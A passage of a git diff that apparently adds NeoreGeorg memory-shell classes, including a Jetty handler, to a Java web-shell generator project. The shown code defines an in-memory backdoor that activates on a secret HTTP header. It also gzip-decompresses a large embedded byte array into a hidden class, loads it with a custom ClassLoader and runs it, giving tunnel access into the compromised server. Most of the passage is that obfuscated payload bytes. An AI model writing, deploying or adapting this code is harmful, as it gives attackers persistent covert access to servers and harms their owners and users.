106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = new NeoreGeorg(Thread.currentThread().getContextClassLoader()).load(clazzBytes); + namespace.put(chars, clazz.newInstance()); + } + namespace.get(chars).equals(map); + return true; + } + } catch (Exception ignored) { + } + return false; + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + + + public Object unwrapRequest(Object request) { + Object internalRequest = request; + while (true) { + try { + Object r = getFieldValue(request, "request"); + if (r == internalRequest) { + return r; + } else { + internalRequest = r; + } + } catch (Exception e) { + return internalRequest; + } + } + } + + public Object unwrapResponse(Object response) { + Object internalResponse = response; + while (true) { + try { + Object r = getFieldValue(response, "response"); + if (r == internalResponse) { + return r; + } else { + internalResponse = r; + } + } catch (Exception e) { + return internalResponse; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java new file mode 100644 index 00000000..5a1e1ff5 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java @@ -0,0 +1,114 @@ +package com.reajason.javaweb.memshell.shelltool.neoreg; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/2/27 + *

+ * key: key + */ +public class NeoreGeorgJettyHandler extends ClassLoader { + public static String headerName; + public static String headerValue; + + public static Map namespace = new HashMap(); + String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn=="; + byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1}; + + public NeoreGeorgJettyHandler() { + } + + public NeoreGeorgJettyHandler(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class load(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + Object[] map = new Object[]{ + request, + response, + chars.toCharArray(), + base64Bytes, + new Integer(200), + new Integer(513), + new Integer(524288), + hello, + new Integer(1447564139), + new Integer(0), + new Integer(0), + new Integer(0), + }; + + if (namespace.get(chars) == null) { + byte[] clazzBytes = gzipDecompress(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, 